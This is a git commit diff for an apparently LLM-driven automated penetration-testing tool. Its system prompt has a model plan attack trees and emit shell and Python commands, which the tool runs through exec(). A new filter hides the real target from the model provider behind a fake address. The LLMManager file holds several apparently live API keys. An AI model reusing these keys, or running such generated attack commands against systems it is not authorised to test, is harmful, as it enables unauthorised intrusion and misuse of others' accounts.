Browse Source

v0.5.3

a.增加了批量添加目标,重新调整了任务的启停;
b.增加了数据过滤功能,过滤提交到llm的目标信息;
c.增加了对通以qwen3模型的对接;
d.https有短数据包不及时发送到前端的问题,暂时调回http;
e.其他的一些bug和工具迭代。
master
张龙 14 hours ago
parent
commit
32c6f2f65a
  1. 1
      config.yaml
  2. 5
      mycode/AttackMap.py
  3. 47
      mycode/DBManager.py
  4. 20
      mycode/DataFilterManager.py
  5. 2
      mycode/InstructionManager.py
  6. 101
      mycode/LLMManager.py
  7. 17
      mycode/PythonTManager.py
  8. 47
      mycode/PythoncodeTool.py
  9. 9
      mycode/TargetManager.py
  10. 180
      mycode/TaskManager.py
  11. 217
      mycode/TaskObject.py
  12. 9
      mycode/WebSocketManager.py
  13. 3
      pipfile
  14. 6
      run.py
  15. 153
      test.py
  16. 4
      tools/CurlTool.py
  17. 42
      tools/EchoTool.py
  18. 2
      tools/ToolBase.py
  19. 27
      web/API/task.py
  20. 10
      web/API/wsm.py
  21. 8
      web/__init__.py
  22. 12
      web/common/utils.py
  23. 147
      web/main/static/resources/scripts/his_task_modal.js
  24. 2
      web/main/static/resources/scripts/my_web_socket.js
  25. 301
      web/main/static/resources/scripts/node_tree.js
  26. 108
      web/main/static/resources/scripts/task_manager.js
  27. 91
      web/main/templates/his_task.html
  28. 129
      web/main/templates/index.html
  29. 34
      web/main/templates/task_manager.html
  30. 6
      web/main/templates/task_manager_modal.html

1
config.yaml

@ -1,5 +1,6 @@
#工作模式 #工作模式
App_Work_type: 0 #0-开发模式,只允许单步模式 1-生产模式 包裹下的逻辑可以正常执行 App_Work_type: 0 #0-开发模式,只允许单步模式 1-生产模式 包裹下的逻辑可以正常执行
max_run_task: 3 #允许同时运行的任务数
#线程休眠的时间 #线程休眠的时间
sleep_time: 20 sleep_time: 20

5
mycode/AttackMap.py

@ -50,6 +50,7 @@ class AttackTree:
"node_bwork":node.bwork, "node_bwork":node.bwork,
"node_vultype":node.vul_type, "node_vultype":node.vul_type,
"node_vulgrade":node.vul_grade, "node_vulgrade":node.vul_grade,
"node_vulinfo":node.vul_info,
"node_workstatus":node.get_work_status(), "node_workstatus":node.get_work_status(),
"children":[self.node_to_dict(child) for child in node.children] if node.children else [] "children":[self.node_to_dict(child) for child in node.children] if node.children else []
} }
@ -270,6 +271,10 @@ class TreeNode:
self.copy_messages(p_msg,c_msg) self.copy_messages(p_msg,c_msg)
self._instr_queue.append(instr) self._instr_queue.append(instr)
def test_add_instr(self,instr):
self._instr_queue.append(instr)
self._llm_quere = []
def get_instr(self): def get_instr(self):
return self._instr_queue.pop(0) if self._instr_queue else None return self._instr_queue.pop(0) if self._instr_queue else None

47
mycode/DBManager.py

@ -161,11 +161,11 @@ class DBManager:
return data return data
def get_run_tasks(self): def get_run_tasks(self):
strsql = "select ID,task_target,task_status,work_type,cookie_info,llm_type from task where task_status <> 2;" strsql = "select ID,task_target,task_status,work_type,cookie_info,llm_type,safe_rank,fake_target from task where task_status <> 2 order by ID;"
datas = self.do_select(strsql) datas = self.do_select(strsql)
return datas return datas
def start_task(self,test_target,cookie_info,work_type,llm_type) -> int: def start_task(self,test_target,cookie_info,work_type,llm_type,fake_target) -> int:
''' '''
数据库添加检测任务 数据库添加检测任务
:param task_name: :param task_name:
@ -174,9 +174,9 @@ class DBManager:
''' '''
task_id =0 task_id =0
start_time = get_local_timestr() start_time = get_local_timestr()
sql = "INSERT INTO task (task_name,task_target,start_time,task_status,safe_rank,work_type,cookie_info,llm_type) " \ sql = "INSERT INTO task (task_name,task_target,start_time,task_status,safe_rank,work_type,cookie_info,llm_type,fake_target) " \
"VALUES (%s,%s,%s,%s,%s,%s,%s,%s)" "VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s)"
params = (test_target,test_target,start_time,1,0,work_type,cookie_info,llm_type) params = (test_target,test_target,start_time,1,0,work_type,cookie_info,llm_type,fake_target)
bok,task_id = self.safe_do_sql(sql,params,1) bok,task_id = self.safe_do_sql(sql,params,1)
return task_id return task_id
@ -186,6 +186,19 @@ class DBManager:
bok,_ = self.safe_do_sql(strsql, params) bok,_ = self.safe_do_sql(strsql, params)
return bok return bok
#0<-->1
def update_task_status(self,task_id,new_status):
strsql = "update task set task_status=%s where ID=%s;"
params = (new_status,task_id)
bok, _ = self.safe_do_sql(strsql, params)
return bok
def update_task_work_type(self,task_id,new_work_type):
strsql = "update task set work_type=%s where ID=%s;"
params = (new_work_type, task_id)
bok, _ = self.safe_do_sql(strsql, params)
return bok
def del_task(self,task_id): def del_task(self,task_id):
params = (task_id) params = (task_id)
strsql = "delete from task where ID=%s;" strsql = "delete from task where ID=%s;"
@ -277,13 +290,11 @@ class DBManager:
strsql = ''' strsql = '''
select ID,node_path,do_sn,instruction,result from task_result where task_id = %s select ID,node_path,do_sn,instruction,result from task_result where task_id = %s
''' '''
params = [task_id]
if nodename.strip(): if nodename.strip():
strsql += " and nodename like %s;" strsql += " and node_path like %s"
params = (task_id,nodename) params.append(f"%{nodename}%") # 在参数中添加通配符
else: datas = self.safe_do_select(strsql,tuple(params))
strsql += ";"
params = (task_id)
datas = self.safe_do_select(strsql,params)
return datas return datas
#插入漏洞数据 #插入漏洞数据
@ -308,12 +319,12 @@ class DBManager:
# 按需添加其他条件 # 按需添加其他条件
if nodename and nodename.strip(): # 检查nodename是否非空(去除前后空格后) if nodename and nodename.strip(): # 检查nodename是否非空(去除前后空格后)
conditions.append("node_path=%s") conditions.append("node_path like %s")
params.append(nodename) params.append(f"%{nodename}%")
if vultype and vultype.strip(): # 检查vultype是否非空 if vultype and vultype.strip(): # 检查vultype是否非空
conditions.append("vul_type=%s") conditions.append("vul_type like %s")
params.append(vultype) params.append(f"%{vultype}%")
if vullevel and vullevel.strip(): # 检查vullevel是否非空 if vullevel and vullevel.strip(): # 检查vullevel是否非空
conditions.append("vul_level=%s") conditions.append("vul_level=%s")
@ -387,6 +398,12 @@ class DBManager:
bok,_ = self.safe_do_sql(strsql,params) bok,_ = self.safe_do_sql(strsql,params)
return bok return bok
def get_one_instr(self,instr_id):
strsql = "select instruction from task_result where ID = %s"
params = (instr_id)
data = self.safe_do_select(strsql,params,1)
return data[0]
def test(self): def test(self):
# 建立数据库连接 # 建立数据库连接

20
mycode/DataFilterManager.py

@ -0,0 +1,20 @@
class DataFilterManager:
def __init__(self,target,fake_target):
self.real_target = target
self.fake_target = fake_target
def filter_prompt(self,prompt):
fake_prompt = prompt.replace(self.real_target,self.fake_target)
return fake_prompt
def filter_instruction(self,instruction):
real_instruction = instruction.replace(self.fake_target,self.real_target)
return real_instruction
def filter_result(self,instr,result):
fake_instr = instr.replace(self.real_target,self.fake_target)
fake_result = result.replace(self.real_target,self.fake_target)
return fake_instr,fake_result

2
mycode/InstructionManager.py

@ -73,7 +73,7 @@ class InstructionManager:
print(f"未知工具:{tool_name}") print(f"未知工具:{tool_name}")
#return bres,instr,result,source_result,ext_params #return bres,instr,result,source_result,ext_params
return instr, result, source_result, ext_params #取消bres的返回,所有指令执行结果多需要返回到Llm,用于控制节点的状态 return bres,instr, result, source_result, ext_params #取消bres的返回,所有指令执行结果多需要返回到Llm,用于控制节点的状态
#过来指令:合规、判重、待执行等 #过来指令:合规、判重、待执行等
def _instruction_filter(self,instruction): def _instruction_filter(self,instruction):

101
mycode/LLMManager.py

@ -20,7 +20,6 @@ class LLMManager:
self.api_url = None self.api_url = None
#temperature设置 #temperature设置
#DS------代码生成/数学解题:0.0 -- 数据抽取/分析:1.0 -- 通用对话:1.3 -- 翻译:1.3 -- 创意类写作:1.5
if illm_type == 0: #腾讯云 if illm_type == 0: #腾讯云
self.api_key = "fGBYaQLHykBOQsFwVrQdIFTsYr8YDtDVDQWFU41mFsmvfNPc" self.api_key = "fGBYaQLHykBOQsFwVrQdIFTsYr8YDtDVDQWFU41mFsmvfNPc"
self.api_url = "" self.api_url = ""
@ -28,13 +27,10 @@ class LLMManager:
self.api_key ="sk-10360148b465424288218f02c87b0e1b" self.api_key ="sk-10360148b465424288218f02c87b0e1b"
self.api_url ="https://api.deepseek.com/v1" self.api_url ="https://api.deepseek.com/v1"
self.model = "deepseek-reasoner" #model=deepseek-reasoner -- R1 model=deepseek-chat --V3 self.model = "deepseek-reasoner" #model=deepseek-reasoner -- R1 model=deepseek-chat --V3
# 创建会话对象 -- 一个任务的LLM必须唯一
self.client = OpenAI(api_key=self.api_key, base_url=self.api_url)
elif illm_type == 2: #2233.ai elif illm_type == 2: #2233.ai
self.api_key = "sk-J3562ad9aece8fd2855bb495bfa1a852a4e8de8a2a1IOchD" self.api_key = "sk-J3562ad9aece8fd2855bb495bfa1a852a4e8de8a2a1IOchD"
self.api_url = "https://api.gptsapi.net/v1" self.api_url = "https://api.gptsapi.net/v1"
self.model = "o3-mini-2025-01-31" self.model = "o3-mini-2025-01-31"
self.client = OpenAI(api_key=self.api_key,base_url=self.api_url)
elif illm_type ==3: #GPT elif illm_type ==3: #GPT
# 定义代理服务器地址 # 定义代理服务器地址
proxy_url = "http://192.168.3.102:3128" proxy_url = "http://192.168.3.102:3128"
@ -43,11 +39,17 @@ class LLMManager:
self.api_key ="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" self.api_key ="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"
self.api_url = "https://api.openai.com/v1" self.api_url = "https://api.openai.com/v1"
self.model = "o3-mini-2025-01-31" self.model = "o3-mini-2025-01-31"
openai.proxy = proxy_url openai.proxy = proxy_url
openai.api_key = self.api_key openai.api_key = self.api_key
#self.client = openai elif illm_type ==4:#通义Qwen3
self.client = OpenAI(api_key=self.api_key,base_url=self.api_url) self.api_key ="sk-48028b85e7604838b5be5bf6a90222cb"
self.api_url ="https://dashscope.aliyuncs.com/compatible-mode/v1"
self.model = "qwen3-235b-a22b"
else:
self.logger.error("模型参数选择异常!")
return
# 创建会话对象 -- 一个任务的LLM必须唯一
self.client = OpenAI(api_key=self.api_key, base_url=self.api_url)
''' '''
**决策原则** **决策原则**
@ -64,23 +66,23 @@ class LLMManager:
"content":''' "content":'''
你是一位渗透测试专家来指导本地程序进行渗透测试由你负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试 你是一位渗透测试专家来指导本地程序进行渗透测试由你负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试
**总体要求** **总体要求**
1.以测试目标为根节点结合信息收集和测试反馈的结果以新的测试点作为子节点逐步规划和推进下一步测试形成树型结构测试树 1.以测试目标为根节点结合信息收集和测试反馈的结果以新的测试点作为子节点逐步规划和推进下一步测试形成树型结构测试树测试点需尽量全面
2.每次规划测试指令时只关注当前节点的测试推进若涉及新增节点原则上只应在当前节点下新增避免测试路径的混乱 2.只有当收到当前节点的所有测试指令的结果且没有新的测试指令需要执行时再判断是否需要新增子节点进一步进行验证测试若没有则结束该路径的验证
3.只有当收到当前节点的所有测试指令的结果且没有新的测试指令需要执行时再判断是否需要新增子节点进一步进行验证测试则结束该路径的验证 3.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有新增的节点未能匹配测试指令必须返回未匹配指令的节点列表
4.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有新增的节点未能匹配测试指令必须返回未匹配指令的节点列表 4.生成的指令有两类节点指令和测试指令指令之间必须以空行间隔不能包含注释和说明
5.生成的指令有两类节点指令和测试指令指令之间必须以空行间隔不能包含注释和说明 5.本地程序会执行生成的指令但不具备分析判断和保持会话能力只会把执行结果返回提交
6.本地程序会执行生成的指令但不具备分析判断和保持会话能力只会把执行结果返回提交 6.只有当漏洞验证成功后才添加该节点的漏洞信息
7.若无需要处理的节点数据节点指令可以不生成 7.若无需要处理的节点数据节点指令可以不生成
8.只有当漏洞验证成功才更新该节点的漏洞信息
8.若节点已完成测试测试指令可以不生成 8.若节点已完成测试测试指令可以不生成
**测试指令生成准则** **测试指令生成准则**
1.测试指令必须对应已有节点或同时生成新增节点指令 1.可以是dash指令也可以是python指令必须按格式要求生成
2.优先使用覆盖面广成功率高的指令不要生成重复的指令 2.必须对应已有节点或同时生成新增节点指令
3.若需要多条指令配合测试请生成对应的python指令完成闭环返回 3.优先使用覆盖面广成功率高的指令不要生成重复的指令
4.需要避免用户交互必须要能返回 4.若需要多条指令配合测试请生成对应的python指令完成闭环返回
5.避免用户交互必须要能返回
**节点指令格式** **节点指令格式**
- 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"}; - 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
- 生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"}; - 匹配指令的节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
- 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}}; - 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
- 节点完成测试{\"action\": \"end_work\", \"node\": \"节点\"}; - 节点完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
**测试指令格式** **测试指令格式**
@ -90,7 +92,6 @@ class LLMManager:
**核心要求** **核心要求**
- 指令之间必须要有一个空行 - 指令之间必须要有一个空行
- 需确保测试指令的节点路径和指令的目标节点一致,例如针对子节点的测试指令节点路径不能指向当前节点 - 需确保测试指令的节点路径和指令的目标节点一致,例如针对子节点的测试指令节点路径不能指向当前节点
- 根据反馈信息测试目标有可能产生高危漏洞的必须新增节点并提供测试指令
**响应示例** **响应示例**
{\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"} {\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"}
@ -100,7 +101,7 @@ mysql -u root -p 192.168.1.100
'''}] # 一个messages '''}] # 一个messages
# 调用LLM生成指令 # 调用LLM生成指令
def get_llm_instruction(self,prompt,node): def get_llm_instruction(self,prompt,node,DataFilter):
''' '''
1.由于大模型API不记录用户请求的上下文一个任务的LLM不能并发 1.由于大模型API不记录用户请求的上下文一个任务的LLM不能并发
:param prompt:用户本次输入的内容 :param prompt:用户本次输入的内容
@ -120,51 +121,66 @@ mysql -u root -p 192.168.1.100
"messages": sendmessage, "messages": sendmessage,
} }
# 某些模型额外的参数 # 某些模型额外的参数
stream = False
if self.model == "o3-mini-2025-01-31": if self.model == "o3-mini-2025-01-31":
params["reasoning_effort"] = "high" params["reasoning_effort"] = "high"
elif self.model == "qwen3-235b-a22b":
stream = True
params["stream"] = stream
params["extra_body"] = {"enable_thinking": True,"thinking_budget": 3000}
try: try:
# 调用 API # 调用 API
response = self.client.chat.completions.create(**params) response = self.client.chat.completions.create(**params)
except APITimeoutError: except APITimeoutError:
self.logger.error("OpenAI API 请求超时") self.logger.error("LLM API 请求超时")
return False, "","","", f"调用超时(model={self.model})" return False, "","","", f"调用超时(model={self.model})"
except APIConnectionError as e: except APIConnectionError as e:
self.logger.error(f"网络连接错误: {e}") self.logger.error(f"网络连接错误: {e}")
return False, "","", "", "网络连接错误" return False, "","", "", "网络连接错误"
except OpenAIError as e: except OpenAIError as e:
# 包括 400/401/403/500 等各种 API 错误 # 包括 400/401/403/500 等各种 API 错误
self.logger.error(f"OpenAI API 错误: {e}") self.logger.error(f"LLM API 错误: {e}")
return False, "","", "", f"API错误: {e}" return False, "","", "", f"API错误: {e}"
except Exception as e: except Exception as e:
# 兜底,防止意外 # 兜底,防止意外
self.logger.exception("调用 LLM 时出现未预期异常") self.logger.exception("调用 LLM 时出现未预期异常")
return False, "","", "", f"未知错误: {e}" return False, "","", "", f"未知错误: {e}"
#LLM返回结果处理
choice = response.choices[0].message
reasoning_content = "" reasoning_content = ""
content = "" content = ""
#LLM返回处理 if stream: #流式模式
if self.model == "deepseek-reasoner": is_answering = False
reasoning_content = getattr(choice, "reasoning_content", "") for chunk in response:
content = choice.content if not chunk.choices:
# 记录llm历史信息 continue
node.cur_messages.append({'role': 'assistant', 'content': content}) delta = chunk.choices[0].delta
elif self.model == "deepseek-chat": if hasattr(delta, "reasoning_content") and delta.reasoning_content is not None:
content = choice reasoning_content += delta.reasoning_content
node.cur_messages.append(content)
elif self.model == "o3-mini-2025-01-31":
content = choice.content
# 记录llm历史信息
node.cur_messages.append({'role': 'assistant', 'content': content})
else:
self.logger.error("处理到未预设的模型!")
return False,"","","","处理到未预设的模型!"
# 收到content,开始进行回复
if hasattr(delta, "content") and delta.content:
if not is_answering:
is_answering = True
content += delta.content
else:
#LLM返回结果处理
choice = response.choices[0].message
#LLM返回处理
if self.model == "deepseek-reasoner":
reasoning_content = getattr(choice, "reasoning_content", "")
content = choice.content
elif self.model == "o3-mini-2025-01-31" or self.model == "qwen-max-latest":
content = choice.content
else:
self.logger.error("处理到未预设的模型!")
return False,"","","","处理到未预设的模型!"
# 记录llm历史信息
node.cur_messages.append({'role': 'assistant', 'content': content})
print(content) print(content)
real_con = DataFilter.filter_instruction(content)
#按格式规定对指令进行提取 #按格式规定对指令进行提取
node_cmds,commands = self.fetch_instruction(content) node_cmds,commands = self.fetch_instruction(real_con)
return True,node_cmds,commands,reasoning_content, content return True,node_cmds,commands,reasoning_content, content
def fetch_instruction(self,response_text): def fetch_instruction(self,response_text):
@ -179,6 +195,7 @@ mysql -u root -p 192.168.1.100
:param text: 输入文本 :param text: 输入文本
:return: node_cmds,python_blocks,shell_blocks :return: node_cmds,python_blocks,shell_blocks
''' '''
#针对llm的回复,提取节点操作数据和执行的指令---- #针对llm的回复,提取节点操作数据和执行的指令----
# 正则匹配 Python 代码块 # 正则匹配 Python 代码块
python_blocks = re.findall(r"```python-(.*?)```", response_text, flags=re.DOTALL) python_blocks = re.findall(r"```python-(.*?)```", response_text, flags=re.DOTALL)

17
mycode/PythonTManager.py

@ -14,7 +14,17 @@ class PythonTManager:
self.python_tool = PythoncodeTool(maxnum) #python工具实例 self.python_tool = PythoncodeTool(maxnum) #python工具实例
def __del__(self): def __del__(self):
self.python_tool.shutdown() self.shutdown_pool()
def start_pool(self):
return self.python_tool.start_pool()
def shutdown_pool(self):
self.python_tool.shutdown_pool()
def is_pool_active(self):
return self.python_tool.pool_active
def execute_instruction(self,instruction): def execute_instruction(self,instruction):
bwork = False bwork = False
@ -23,14 +33,15 @@ class PythonTManager:
if self.cur_num < self.maxnum: if self.cur_num < self.maxnum:
self.cur_num += 1 self.cur_num += 1
bwork = True bwork = True
if bwork:#还有空的子进程 if bwork:#还有空的子进程
#提交给进程池执行 #提交给进程池执行
_,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction) bsuccess,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction)
#执行完成后,数量减一 #执行完成后,数量减一
with self.put_lock: with self.put_lock:
self.cur_num -= 1 self.cur_num -= 1
#返回结果 #返回结果
return instruction,analysis,analysis,ext_params return bsuccess,instruction,analysis,analysis,ext_params
else: #如果没获取的许可,则等待N秒后再尝试---存在问题:多线程间没有先来先到的机制了,有可能第一个来排队的一直等到最后 else: #如果没获取的许可,则等待N秒后再尝试---存在问题:多线程间没有先来先到的机制了,有可能第一个来排队的一直等到最后
time.sleep(20) #休眠20秒 time.sleep(20) #休眠20秒

47
mycode/PythoncodeTool.py

@ -22,10 +22,13 @@ import base64
import itertools import itertools
import random import random
import tempfile import tempfile
import multiprocessing
import textwrap import textwrap
import smb import smb
import pexpect import pexpect
import smbclient
import binascii
from mysql.connector import Error
from impacket.smbconnection import SMBConnection
from itertools import product from itertools import product
from socket import create_connection from socket import create_connection
from cryptography import x509 from cryptography import x509
@ -60,7 +63,7 @@ def _execute_dynamic(instruction_str):
'set': set, 'str': str, 'sum': sum, 'type': type, 'set': set, 'str': str, 'sum': sum, 'type': type,
'open': open, 'Exception': Exception, 'locals': locals, 'open': open, 'Exception': Exception, 'locals': locals,
'ConnectionResetError':ConnectionResetError,'BrokenPipeError':BrokenPipeError, 'ConnectionResetError':ConnectionResetError,'BrokenPipeError':BrokenPipeError,
'bytes':bytes,'tuple':tuple, 'bytes':bytes,'tuple':tuple,'format':format
} }
# 构造安全的 globals # 构造安全的 globals
safe_globals = { safe_globals = {
@ -99,7 +102,11 @@ def _execute_dynamic(instruction_str):
'x509':x509, 'x509':x509,
'default_backend':default_backend, 'default_backend':default_backend,
'product':product, 'product':product,
'create_connection':create_connection 'create_connection':create_connection,
'smbclient':smbclient,
'binascii':binascii,
'Error':Error,
'SMBConnection':SMBConnection
} }
safe_locals = {} safe_locals = {}
try: try:
@ -126,7 +133,28 @@ def _execute_dynamic(instruction_str):
class PythoncodeTool(): class PythoncodeTool():
def __init__(self,max_num): def __init__(self,max_num):
self.proc_pool = ProcessPoolExecutor(max_workers=max_num) self.max_workers = max_num
self.proc_pool = None
self.pool_active = False
#self.proc_pool = ProcessPoolExecutor(max_workers=max_num)
def start_pool(self):
if self.proc_pool is not None and self.pool_active:
print("进程池已经在运行中")
return False
print("启动进程池...")
self.proc_pool = ProcessPoolExecutor(max_workers=self.max_workers)
self.pool_active = True
return True
def shutdown_pool(self):
if self.proc_pool is not None and self.pool_active:
print("关闭进程池...")
self.proc_pool.shutdown(wait=False) #wait=True 是阻塞执行,False立即返回
self.pool_active = False
self.proc_pool = None
else:
print("进程池已经是关闭状态")
def fix_code(self,code: str) -> str: def fix_code(self,code: str) -> str:
""" """
@ -257,14 +285,18 @@ class PythoncodeTool():
str:执行的指令 str:执行的指令
str:执行指令的结果 str:执行指令的结果
''' '''
ext_params = ReturnParams() ext_params = ReturnParams()
ext_params["is_user"] = False # 是否要提交用户确认 -- 默认False ext_params["is_user"] = False # 是否要提交用户确认 -- 默认False
ext_params["is_vulnerability"] = False # 是否是脆弱点 ext_params["is_vulnerability"] = False # 是否是脆弱点
if not self.pool_active:
return False,instruction_old,"本地程序出行错误,请结束该节点的测试!","",ext_params
# 第一步:验证指令合法性 # 第一步:验证指令合法性
instruction,time_out,error = self.validate_instruction(instruction_old) instruction,time_out,error = self.validate_instruction(instruction_old)
if not instruction: if not instruction:
return False, instruction_old, error,"",ext_params return True, instruction_old, error,"",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? # 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令 # 第二步:执行指令
@ -283,10 +315,7 @@ class PythoncodeTool():
# 第三步:分析执行结果 # 第三步:分析执行结果
analysis = self.analyze_result(output, instruction,"","") analysis = self.analyze_result(output, instruction,"","")
# 指令和结果入数据库
# ?
if not analysis: # analysis为“” 不提交LLM
return False, instruction, analysis,"",ext_params
return True, instruction, analysis,"",ext_params return True, instruction, analysis,"",ext_params
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):

9
mycode/TargetManager.py

@ -28,19 +28,22 @@ class TargetManager:
''' '''
regex_match = re.fullmatch(pattern, input_str) regex_match = re.fullmatch(pattern, input_str)
type = None type = None
fake_target = ""
if regex_match: if regex_match:
domain_or_ip = regex_match.group(2) domain_or_ip = regex_match.group(2)
# 仅对 IPv4 格式的字符串进行有效性验证 # 仅对 IPv4 格式的字符串进行有效性验证
if re.fullmatch(r'\d{1,3}(\.\d{1,3}){3}', domain_or_ip): if re.fullmatch(r'\d{1,3}(\.\d{1,3}){3}', domain_or_ip):
if not self._is_valid_ipv4(domain_or_ip): if not self._is_valid_ipv4(domain_or_ip):
return False, None,type return False, None,type,fake_target
else: else:
type = 1 #IP type = 1 #IP
fake_target = "192.168.3.107"
else: else:
type = 2 #domain type = 2 #domain
return True, domain_or_ip,type fake_target = "www.czzfxxkj.com"
return True, domain_or_ip,type,fake_target
else: else:
return False, None,type return False, None,type,fake_target
g_TM = TargetManager() g_TM = TargetManager()

180
mycode/TaskManager.py

@ -2,21 +2,26 @@ from myutils.ConfigManager import myCongif
from mycode.TaskObject import TaskObject from mycode.TaskObject import TaskObject
from mycode.DBManager import app_DBM from mycode.DBManager import app_DBM
from myutils.PickleManager import g_PKM from myutils.PickleManager import g_PKM
from myutils.MyLogger_logger import LogHandler
from mycode.TargetManager import TargetManager # 从模块导入类
import time
import threading import threading
class TaskManager: class TaskManager:
def __init__(self): def __init__(self):
self.logger = LogHandler().get_logger("TaskManager")
self.TargetM = TargetManager()
self.tasks = {} # 执行中的任务,test_id为key self.tasks = {} # 执行中的任务,test_id为key
self.num_threads = myCongif.get_data("Task_max_threads") self.num_threads = myCongif.get_data("Task_max_threads")
self.max_run_task = myCongif.get_data("max_run_task")
self.cur_task_run_num = 0
#获取系统信息 -- 用户可修改的都放在DB中,不修改的放config #获取系统信息 -- 用户可修改的都放在DB中,不修改的放config
data = app_DBM.get_system_info() data = app_DBM.get_system_info()
self.local_ip = data[0] self.local_ip = data[0]
self.version = data[1] self.version = data[1]
self.tasks_lock = threading.Lock() #加个线程锁?不使用1,quart要使用的异步锁,2.限制只允许一个用户登录,3.遍历到删除的问题不大 self.tasks_lock = threading.Lock()
self.web_cur_task = 0 #web端当前显示的 self.web_cur_task = 0 #web端当前显示的
#判断目标是不是在当前执行任务中,---没加锁,最多跟删除有冲突,问题应该不大 #判断目标是不是在当前执行任务中,---没加锁,最多跟删除有冲突,问题应该不大
def is_target_in_tasks(self,task_target): def is_target_in_tasks(self,task_target):
for task in self.tasks.values(): for task in self.tasks.values():
@ -26,7 +31,7 @@ class TaskManager:
#程序启动后,加载未完成的测试任务 #程序启动后,加载未完成的测试任务
def load_tasks(self): def load_tasks(self):
'''程序启动时,加载未执行完成的任务''' '''程序启动时,加载未执行完成的,未点击结束的任务 -- task_status<>2'''
datas = app_DBM.get_run_tasks() datas = app_DBM.get_run_tasks()
for data in datas: for data in datas:
task_id = data[0] task_id = data[0]
@ -35,77 +40,136 @@ class TaskManager:
work_type = data[3] work_type = data[3]
cookie_info = data[4] cookie_info = data[4]
llm_type = data[5] llm_type = data[5]
safe_rank = data[6]
fake_target = data[7]
# 创建任务对象 # 创建任务对象
task = TaskObject(task_target, cookie_info, work_type, llm_type, self.num_threads, self.local_ip,self) task = TaskObject(task_target, cookie_info, work_type, llm_type, self.num_threads, self.local_ip,fake_target,self,safe_rank)
#读取attact_tree #读取attact_tree---load的任务应该都要有attact_tree
attack_tree = g_PKM.ReadData(str(task_id)) attack_tree = g_PKM.ReadData(str(task_id))
#开始任务 ---会根据task_status来判断是否需要启动工作线程 if attack_tree:
task.start_task(task_id,task_status,attack_tree) #恢复数据
# 保留task对象 task.init_task(task_id,attack_tree)
self.tasks[task_id] = task #开始任务 ---根据task_status来判断是否需要启动工作线程
if task_status == 1:
if self.cur_task_run_num < self.max_run_task: #load 是程序刚起,只有主线程,不加锁
bsuc,strout = task.start_task()
if bsuc:
self.cur_task_run_num +=1
else:
task.update_task_status(0)
else:
self.logger.error("重载未结束任务,不应该超过最大运行数量的task_status为启动状态")
task.update_task_status(0)#尝试硬恢复
# 内存保留task对象
self.tasks[task_id] = task
else:
self.logger.error(f"{task_id}任务的节点树数据缺失,需要检查!")
#新建测试任务 #新建测试任务--2025-4-28调整为可以批量添加--cookie_info信息取消
def create_task(self, test_target,cookie_info,llm_type,work_type): def create_task(self, test_targets,llm_type,work_type):
"""创建新任务--create和load复用?-- """创建新任务--create和load复用?--
1.创建和初始化task_object; 1.创建和初始化task_object;
2.创建task_id 2.创建task_id
3.启动工作线程 return 失败的list
return T/F
""" """
if self.is_target_in_tasks(test_target): fail_list = []
raise ValueError(f"Task {test_target} already exists") target_list = test_targets.split(",")
#创建任务对象 for target in target_list:
task = TaskObject(test_target,cookie_info,work_type,llm_type,self.num_threads,self.local_ip,self) #这里判断目标的合法性
#获取task_id -- test_target,cookie_info,work_type,llm_type 入数据库 bok,target,type,fake_target = self.TargetM.validate_and_extract(target) #是否还需要判断待定?
task_id = app_DBM.start_task(test_target,cookie_info,work_type,llm_type) if not bok:#目标不合法
if task_id >0: fail_list.append(target)
#创建后启动工作--同时赋值task_id continue
task.start_task(task_id) #判断是否已在执行列表
#保留task对象 if self.is_target_in_tasks(target):
self.tasks[task_id] = task fail_list.append(target)
return True continue
else: #raise ValueError(f"Task {test_target} already exists")
return False #创建任务对象--cookie参数取消
task = TaskObject(target,"",work_type,llm_type,self.num_threads,self.local_ip,fake_target,self)
#获取task_id -- test_target,cookie_info,work_type,llm_type 入数据库
task_id = app_DBM.start_task(target,"",work_type,llm_type,fake_target)
if task_id >0:
#2025-4-28调整批量添加任务,默认不启动
task.init_task(task_id)
#保留task对象
self.tasks[task_id] = task
else:
fail_list.append(target)
result = ",".join(fail_list)
return result
def over_task(self,task_id): #开启task任务--正常只应该有web触发调用
def start_task_TM(self,task_id):
task = self.tasks[task_id] task = self.tasks[task_id]
if task: if task:
task.brun = False with self.tasks_lock:
#修改数据库数据 if self.cur_task_run_num < self.max_run_task:
bsuccess = app_DBM.over_task(task_id) #启动工作线程和进程
if bsuccess: bsuc,error = task.start_task()
del self.tasks[task_id] #删除缓存 if bsuc:
return bsuccess,"" self.cur_task_run_num += 1
return True,"启动成功"
else:
return False,error
else:
return False,f"已到达最大的启动数--{self.max_run_task}"
return False,"该任务不存在,程序逻辑存在问题!"
#停止task任务
def stop_task_TM(self,task_id):
task = self.tasks[task_id]
if task:
if task.brun and task.task_status ==1: #是运行状态
with self.tasks_lock:
task.stop_task() #停止线程应该就没什么失败需要处理的
self.cur_task_run_num -= 1
return True,"停止任务成功"
else:
return True,"该任务已处于停止状态"
return False,"该任务不存在,程序逻辑存在问题!"
#结束任务
def over_task(self,task_id):
